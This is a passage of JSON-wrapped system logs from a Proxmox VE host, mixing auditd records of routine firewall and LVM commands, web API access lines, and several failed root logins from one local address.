msg=audit(1781965052.021:63834): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964085934,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964085.934:59528): table=filter family=7 entries=4 op=xt_replace pid=57170 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965065629,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965065.629:63945): table=filter family=7 entries=4 op=xt_replace pid=61399 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966365222,"@rawstring":"node=pve type=EXECVE msg=audit(1781966365.222:69429): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964775596,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781965698957,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:18 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964653039,"@rawstring":"pam_unix(proxmox-ve-auth:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=::ffff:192.168.1.157 user=root"} {"@timestamp":1781966291086,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966291.086:69207): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66443 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966354016,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966354.016:69395): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ab0c0 a1=64f8d73dbb70 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66607 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964699876,"@rawstring":"node=pve type=EXECVE msg=audit(1781964699.876:62213): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781964133044,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964133.044:59715): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57347 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965052018,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965052.018:63832): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964075788,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964075.788:59486): table=filter family=7 entries=4 op=xt_replace pid=57131 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965055376,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965055.376:63900): table=filter family=7 entries=4 op=xt_replace pid=61354 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966365217,"@rawstring":"node=pve type=EXECVE msg=audit(1781966365.217:69428): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964774403,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:53 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 837"} {"@timestamp":1781965698957,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:17 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964651339,"@rawstring":"<27>Jun 20 15:10:51 pvedaemon[1214]: authentication failure; rhost=::ffff:192.168.1.157 user=root@pam msg=Authentication failure\n\u0000"} {"@timestamp":1781966291086,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966291.086:69206): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66443 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966351287,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966351.287:69394): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66606 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695560,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.560:62212): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964128036,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964128.036:59713): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57346 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965052018,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965052.018:63831): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964065646,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964065.646:59444): table=filter family=7 entries=4 op=xt_replace pid=57092 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965045141,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965045.141:63794): table=filter family=7 entries=4 op=xt_replace pid=61208 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966365208,"@rawstring":"node=pve type=EXECVE msg=audit(1781966365.208:69427): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964774403,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:53 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781965697852,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:17 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 891"} {"@timestamp":1781964651073,"@rawstring":"<27>Jun 20 15:10:51 pvedaemon[1215]: authentication failure; rhost=::ffff:192.168.1.157 user=root@pam msg=Authentication failure\n\u0000"} {"@timestamp":1781966291076,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966291.076:69204): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66442 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966351281,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966351.281:69391): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66605 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695557,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.557:62211): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964128036,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964128.036:59712): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57346 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965038776,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965038.776:63765): fver=0 fp=0 fi=0 fe=0 old_pp=0 old_pi=0 old_pe=0 old_pa=0 pp=00000000000404c7 pi=0 pe=00000000000404c7 pa=0 frootid=0"} {"@timestamp":1781964055503,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964055.503:59402): table=filter family=7 entries=4 op=xt_replace pid=57051 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965035993,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965035.993:63719): table=filter family=7 entries=4 op=xt_replace pid=61131 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966364156,"@rawstring":"node=pve type=EXECVE msg=audit(1781966364.156:69426): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964774403,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781965697852,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:16 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781964648994,"@rawstring":"pam_unix(proxmox-ve-auth:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=::ffff:192.168.1.157 user=root"} {"@timestamp":1781966291076,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966291.076:69203): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66442 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966346272,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966346.272:69387): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66603 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695556,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.556:62210): argc=1 a0=\"date\""} {"@timestamp":1781964128022,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964128.022:59710): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57345 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965038767,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965038.767:63764): fver=0 fp=0 fi=0 fe=0 old_pp=00000000000404c7 old_pi=0 old_pe=00000000000404c7 old_pa=0 pp=00000000000404c7 pi=0 pe=00000000000404c7 pa=0 frootid=0"} {"@timestamp":1781964671715,"@rawstring":"node=pve type=USER_AUTH msg=audit(1781964671.715:62084): pid=1216 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='op=PAM:authentication grantors=? acct=\"root\" exe=\"/usr/bin/perl\" hostname=::ffff:192.168.1.157 addr=::ffff:192.168.1.157 terminal=? res=failed'"} {"@timestamp":1781965025841,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965025.841:63677): table=filter family=7 entries=4 op=xt_replace pid=61090 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966364131,"@rawstring":"node=pve type=EXECVE msg=audit(1781966364.131:69425): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964772696,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781965696770,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:15 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 937"} {"@timestamp":1781964648994,"@rawstring":"password check failed for user (root)"} {"@timestamp":1781966286064,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966286.064:69201): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66441 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966346265,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966346.265:69384): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66602 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695552,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.552:62208): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964128022,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964128.022:59709): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57345 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965038756,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965038.756:63763): fver=0 fp=0 fi=0 fe=0 old_pp=00000000000404c7 old_pi=0 old_pe=00000000000404c7 old_pa=0 pp=00000000000404c7 pi=0 pe=00000000000404c7 pa=0 frootid=0"} {"@timestamp":1781964667910,"@rawstring":"node=pve type=USER_AUTH msg=audit(1781964667.910:62073): pid=1216 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='op=PAM:authentication grantors=? acct=\"root\" exe=\"/usr/bin/perl\" hostname=::ffff:192.168.1.157 addr=::ffff:192.168.1.157 terminal=? res=failed'"} {"@timestamp":1781965015707,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965015.707:63624): table=filter family=7 entries=4 op=xt_replace pid=61044 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966361324,"@rawstring":"node=pve type=EXECVE msg=audit(1781966361.324:69424): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964771283,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781965696770,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:15 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 519"} {"@timestamp":1781964648844,"@rawstring":"pam_unix(proxmox-ve-auth:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=::ffff:192.168.1.157 user=root"} {"@timestamp":1781966286064,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966286.064:69200): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66441 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345118,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966345.118:69381): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=60b6639e8e60 items=0 ppid=1156 pid=66601 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964695546,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.546:62207): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964125534,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.534:59705): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe1b363ab0 a1=5d45a3495360 a2=5d45a348e680 a3=5 items=1 ppid=57338 pid=57339 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965038692,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965038.692:63762): fver=0 fp=0 fi=0 fe=0 old_pp=00000000000404c7 old_pi=0 old_pe=00000000000404c7 old_pa=0 pp=00000000000404c7 pi=0 pe=00000000000404c7 pa=0 frootid=0"} {"@timestamp":1781964664165,"@rawstring":"node=pve type=USER_AUTH msg=audit(1781964664.165:62032): pid=1215 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='op=PAM:authentication grantors=? acct=\"root\" exe=\"/usr/bin/perl\" hostname=::ffff:192.168.1.157 addr=::ffff:192.168.1.157 terminal=? res=failed'"} {"@timestamp":1781965005582,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965005.582:63581): table=filter family=7 entries=4 op=xt_replace pid=61004 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966361316,"@rawstring":"node=pve type=EXECVE msg=audit(1781966361.316:69421): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964771283,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781965696770,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:15 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964631463,"@rawstring":"[dcdb] notice: data verification successful"} {"@timestamp":1781966286054,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966286.054:69198): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66440 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345115,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966345.115:69380): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e0600 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66601 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695540,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.540:62206): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964125442,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.442:59687): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe24e4ed30 a1=5c6454b3a410 a2=5c6454b18680 a3=5 items=1 ppid=57319 pid=57320 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965038680,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965038.680:63761): fver=0 fp=0 fi=0 fe=0 old_pp=00000000000404c7 old_pi=0 old_pe=00000000000404c7 old_pa=0 pp=00000000000404c7 pi=0 pe=00000000000404c7 pa=0 frootid=0"} {"@timestamp":1781964660544,"@rawstring":"node=pve type=USER_AUTH msg=audit(1781964660.544:62027): pid=1215 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='op=PAM:authentication grantors=? acct=\"root\" exe=\"/usr/bin/perl\" hostname=::ffff:192.168.1.157 addr=::ffff:192.168.1.157 terminal=? res=failed'"} {"@timestamp":1781964995453,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964995.453:63536): table=filter family=7 entries=4 op=xt_replace pid=60960 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966356306,"@rawstring":"node=pve type=EXECVE msg=audit(1781966356.306:69418): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964771283,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:50 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781965695737,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:14 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781964625324,"@rawstring":"<27>Jun 20 15:10:25 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=root@pam msg=Authentication failure\n\u0000"} {"@timestamp":1781966286054,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966286.054:69197): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66440 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345112,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966345.112:69379): arch=c000003e syscall=59 success=yes exit=0 a0=6093c8686d70 a1=6093c8692b30 a2=6093c8660680 a3=5 items=2 ppid=66594 pid=66600 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695534,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.534:62205): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964123011,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964123.011:59677): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57309 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965038670,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965038.670:63760): fver=0 fp=0 fi=0 fe=0 old_pp=00000000000404c7 old_pi=0 old_pe=00000000000404c7 old_pa=0 pp=00000000000404c7 pi=0 pe=00000000000404c7 pa=0 frootid=0"} {"@timestamp":1781964656925,"@rawstring":"node=pve type=USER_AUTH msg=audit(1781964656.925:62016): pid=1216 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='op=PAM:authentication grantors=? acct=\"root\" exe=\"/usr/bin/perl\" hostname=::ffff:192.168.1.157 addr=::ffff:192.168.1.157 terminal=? res=failed'"} {"@timestamp":1781964985326,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964985.326:63494): table=filter family=7 entries=4 op=xt_replace pid=60921 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966356297,"@rawstring":"node=pve type=EXECVE msg=audit(1781966356.297:69415): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964768660,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781965695737,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:14 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781964623493,"@rawstring":"pam_unix(proxmox-ve-auth:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=::ffff:192.168.1.157 user=root"} {"@timestamp":1781966285657,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966285.657:69191): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcf9584b90 a1=584629a5d310 a2=584629a56680 a3=5 items=1 ppid=66432 pid=66433 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345108,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966345.108:69378): arch=c000003e syscall=59 success=yes exit=0 a0=6093aa3d4ac8 a1=7ffc01431510 a2=6093c8660680 a3=6093aa3b824e items=2 ppid=66594 pid=66596 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695528,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.528:62204): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964123011,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964123.011:59676): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57309 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965038397,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965038.397:63751): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964653038,"@rawstring":"node=pve type=USER_AUTH msg=audit(1781964653.038:61975): pid=1215 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='op=PAM:authentication grantors=? acct=\"root\" exe=\"/usr/bin/perl\" hostname=::ffff:192.168.1.157 addr=::ffff:192.168.1.157 terminal=? res=failed'"} {"@timestamp":1781964975197,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964975.197:63452): table=filter family=7 entries=4 op=xt_replace pid=60882 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966355198,"@rawstring":"node=pve 